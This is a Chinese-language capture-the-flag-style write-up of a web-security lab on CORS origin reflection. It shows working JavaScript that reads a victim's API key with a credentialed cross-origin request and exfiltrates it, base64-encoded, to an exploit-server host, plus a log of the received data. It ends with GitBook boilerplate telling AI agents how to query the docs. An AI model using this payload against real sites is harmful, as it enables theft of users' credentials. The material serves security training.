> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cors/cors-basic-origin-reflection.md).

# CORS 对 Origin 的基础反射

### 带有基本源反射的 CORS 漏洞

使用过于宽松的 CORS 配置（服务器信任任何源），通过一个跨域查询使用 `凭据` 并将响应发送到我们的利用服务器。当 API 管理员密钥提交到利用服务器时，练习即算解决。

<figure><img src="/files/5ba720a3335447c476222bef3807e614fceff5ab" alt=""><figcaption></figcaption></figure>

* 提供的连接凭据： `wiener:peter`.
* 页面端代码从以下位置获取 API 密钥： `/accountDetails` 并显示：

```javascript
<script>
 fetch('/accountDetails', {credentials:'include'})
  .then(r => r.json())
  .then(j => document.getElementById('apikey').innerText = j.apikey)
</script>
```

<figure><img src="/files/d530a5a37289e6cea9d3cb058b4ddf01f89d00bc" alt=""><figcaption></figcaption></figure>

标头表明 `Access-Control-Allow-Credentials: true` (服务器接受带有 cookie/凭据的请求。)

<figure><img src="/files/c4b03eb6631c777584393cefd136993216624025" alt=""><figcaption></figcaption></figure>

* 通过测试带有以下内容的请求， `Origin: jord4n.pro` 标头，响应会返回（反射的来源被接受）。

```javascript
Origin: jord4n.pro
```

* 服务器会反射/允许所发送的来源，因此攻击者控制的页面可以执行一个 `XMLHttpRequest` 或 `fetch` 更改为 `/accountDetails` ，并包含受害者的 cookie（`withCredentials = true`），并获取包含 API 密钥的 JSON 响应。

<figure><img src="/files/25e1c8b70cd3fe901c520f53bc84f43b5d17d9a4" alt=""><figcaption></figcaption></figure>

```javascript
<script>
  var req=new XMLHttpRequests();
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="/files/bf4e3f18a0420b69a0a0642efc646f9a8edb91de" alt="" width="483"><figcaption></figcaption></figure>

一旦读取到响应，就可以将其传输到服务器（例如通过 base64 编码）以便收集。

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = "https://exploit-0aca00f703c106bc82ac23560133003f.exploit-server.net/?apiKey=" + btoa(req.responseText);
};
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="/files/a2bac9bb4a3094411518033a3ccbcba0144d36fd" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
10.0.3.6        2025-10-29 20:19:37 +0000 "GET /?apiKey=ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIjg2cWk4Mnh2TUdDOUdyV2dYY1RPdUN4bnVCQU9Gd3VEIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiS240MzN2QVpqWU1WUTZTUE1JTmx4YzY5aHFjNVg1M24iCiAgXQp9 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

操作服务器收到了一个包含编码后响应的 GET 请求，例如：

<figure><img src="/files/d6340fa1db6405bed9a9e929852e4e4b20e5bc86" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/cors/cors-basic-origin-reflection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
